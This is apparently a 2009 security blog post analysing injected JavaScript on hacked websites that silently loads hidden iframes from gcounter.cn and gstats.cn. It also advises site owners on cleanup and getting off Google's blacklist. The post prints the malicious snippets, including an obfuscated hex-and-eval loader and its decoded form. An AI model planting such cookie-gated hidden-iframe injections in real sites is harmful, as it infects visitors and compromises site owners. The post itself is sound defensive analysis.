Malicious software is hosted on 1 domain(s), including gcounter.cn/.

I opened the site in Firefox and temporarily enabled the site domain in NoScript. When the page reloaded, another item appeared in the NoScript menu: “Allow gcounter.com“. Bingo! The fact it was not initially there means that the malicious code is somewhere in external .js files. I downloaded (using wget) all referenced .js files and located the following code in one of them:

if (document.cookie.search("coqwg=3") == -1) {
d ocument.write("<i"+"fr"+"ame sr"+"c=http:"+"//"+"gcou"+"nter"+".cn styl"+"e"+"=displa"+"y:no"+"ne>"+"</i"+"fram"+"e>");
d ocument.cookie = "coqwg=3;expires=Sun, 01-Dec-2011 08:00:00 GMT;path=/";}

As you can see, it injects a hidden iframe that loads content from gcounter .cn.

The code also sets a cookie so that only new visitors get infected. So the next time the NoScript trick won’t work if your browser already has that cookie.

When I checked another site with gcounter .cn mentioned on the diagnostic page, I also found the malicious code in one of the external .js files.

Note, that the code is not simply appended at the very bottom of .js files like in the Gumblar exploit, it is injected somewhere in the middle of legitimate JavaScript code. It may even not occupy a separate line, so it is very easy to overlook it.

GStats .cn

Another day I found a site with the following record on the Google’s Safe Browsing diagnostic page:

Malicious software is hosted on 1 domain(s), including gstats.cn/.

The same NoScript trick revealed the malicious code in external .js files. This time the malicious code was more encrypted and looked like this:

AA3EC055="p";AA3EC055+="arseI";AA3EC055+="nt";E0B4B25AF7590="Stri";E0B4B25AF7590+="n";E0B4B25AF7590+="g.fr";E0B4B25AF7590+="omCha";
E0B4B25AF7590+="rCo";E0B4B25AF7590+="de";function ACE13AC7F5(A8D133){var DB529=495;DB529=DB529-479;D59CA3C8=eval(AA3EC055+"(A8D133,DB529)");return(D59CA3C8);}
function A230982771962E(D2A369){var DA09B=114;DA09B=DA09B-112;var C8120BEFABE1C="";for(BE4025D=0;BE4025D<D2A369.length;BE4025D+=DA09B){
C8120BEFABE1C+=(eval(E0B4B25AF7590+"(ACE13AC7F5(D2A369.substr(BE4025D,DA09B)))"));}e val(C8120BEFABE1C);}
A230982771962E("69662028646F63756D656E742E636F6F6B69652E73656172636828226A7366783D332229203D3D202D3129207B0A787765773D646F63756D656E742E676574456C656D656E74427949642827636D6B27293B696628787765773D3D6E756C6C297B646F63756D656E742E777269746528273C696672616D652069643D636D6B207372633D687474703A2F2F6773746174732E636E207374796C653D646973706C61793A6E6F6E653E3C2F696672616D653E27293B7D0A646F63756D656E742E636F6F6B6965203D20226A7366783D333B657870697265733D53756E2C2030312D4465632D323031312030383A30303A303020474D543B706174683D2F223B7D");

After deobfuscation, the code looked similar to the gcounter’s

if (document.cookie.search("jsfx=3") == -1) { xwew=document.getElementById('cmk');if(xwew==null){
d ocument.write('<iframe id=cmk src=http://gstats . cn style=display:none></iframe>');}
d ocument.cookie = "jsfx=3;expires=Sun, 01-Dec-2011 08:00:00 GMT;path=/";}

No wonder, both gcounter .cn and gstats .cn reside on the same server with IP address of 92.241.176.101.

The differences of the gstats modification from the above gcounter code are:

• gstats . cn domain used
• the code is more obfuscated and changes from site to site
• the cookie names and the iframe ids also vary from site to site
• I’ve seen this code only at the very bottom of .js file, so it may be slightly easier to find it.

Modification dates

Another interesting fact about the infected .js files is they have pretty old modification dates. The newest file had a February’s modification date. And the oldest was not modified since January 2004. So it looks like the hackers can change the modification date of files once they inject the malicious code.

At this moment I don’t have any information about how the .js files get infected. I can only guess that it has to do with compromised FTP credential (as many other recent attacks).

• So be sure to check your local computers for malware.
• then change all passwords
• and refrain from saving them in programs you use to upload files to a web server (FTP clients, DreamWeaver, etc.).
• Don’t use FTP if possible. This protocol is insecure. Use SFTP instead – Most decent hosting plans include this option.
• Browse the web with a secure browser. I recommend the Firefox+NoScript combo.

Have your say

If you have more information about this exploit, please leave your comments here. The more we know about the attack the easier we can withstand it.

P.S. This exploit is not directly detected by Unmask Parasites since external .js files are not checked. However, some infected sites can be detected as suspicious if Google have already blacklisted them.  So click the “details” link next to  Google’s advisory and if you see gstats .cn or gcounter .cn on the diagnostic page you know where the malicious code hides.

Update Aug 31, 2009: I’ve just found a script that injects a hidden gcounter .cn iframe at the bottom of an HTML file. This time it is detectable by Unmask Parasites. So don’t forget to check HTML files (all web pages)  too.

Similar posts:

• NoScript Helps Reveal Website Exploits – Telegram .com Case
• Beladen – Elusive Web Server Exploit. (information for site owners and hosting providers)
• Gumblar .cn Exploit – 12 Facts About This Injected Script
• All reviewed website exploits

“Martuz .cn” domain no longer resolve and “gumblar .cn” is defunct (the domain is currently parked). This has stopped the surge of new infections. And the increased global awareness helped webmasters identify the problem and get rid of it.

Recovered sites are still blacklisted

Nonetheless, I can still see that many websites recovered from the gumblar/martuz attack are still blacklisted by Google. Their Safe Browsing diagnostic pages say something like:

“Malicious software is hosted on 1 domain(s), including martuz .cn/.”

or

“Malicious software is hosted on 1 domain(s), including gumblar .cn/.”

Their search results are labeled with the “This site may harm your computer” warning. Many browsers (FireFox 3, Safari, Google Chrome) won’t let visitors browse those sites displaying the “Reported Attack Site” warning.

Looking at the last visit date on the diagnostic pages, I see that webmasters didn’t request a review via Google’s Webmaster Tools.

Just a reminder: If your site is blacklisted by Google, clean up the site and request a review. Here you will find all the information you need about it.

Malware review tips

I want to stress a few facts about the review process.

1. Do request the review. It was noticed that it takes significantly longer to remove the warning if the malware scanners find you site clean without a review request from a site owner. When they know that the site owner is aware of the problem, the process becomes smoother and the warning can be removed in just a few hours after a successful review.
2. Request the review as soon as possible. Although Google’s malware scanner can automatically visit your site, they are not as ubiquitous as Googlebot and it may take weeks before the next scheduled visit.
3. Don’t be afraid to request the review even if you are not sure that your site is completely clean. If any security issues are detected during the review, they will be reported in your Webmaster Tools account. Then you can fix them and request another review.
4. Don’t delete infected web pages. If Google reports specific URL as examples of web pages where malicious content was found, it expects to find these pages clean during the review. If the pages cannot be found, it may be considered as if they were temporarily removed just to pass the review. If you don’t need specific pages, try to empty them (you can remove them after a successful review) or configure your web server to return the 410 Gone error. (This information is not from official Google’s sources. It’s based on my own observations)

Strive for complete recovery

And a few more words to owners of websites recovered from the gumblar/martuz attack. If you requested the review, but it came back with a warning that your site is still infected, the chances are you haven’t removed the malicious code from all files.

This attack was very sophisticated. It modified many files, created backdoor scripts and changed directory permissions.  Even if Unmask Parasites doesn’t detect any suspicious scripts in your web pages, the site can still be infected if you didn’t clean external .js files (they are not checked by Unmask Parasites). You can find more details about the exploit and what it takes to get rid of it in this article. Make sure to read comments – they add much value to the article.

Similar posts:

• Gumblar .cn Exploit – 12 Facts About This Injected Script
• Martuz .cn – New Incarnation of the Gumblar Exploit. So What’s New?
• A Few More Facts About the Gumblar Attack From SophosLab and ScanSafe.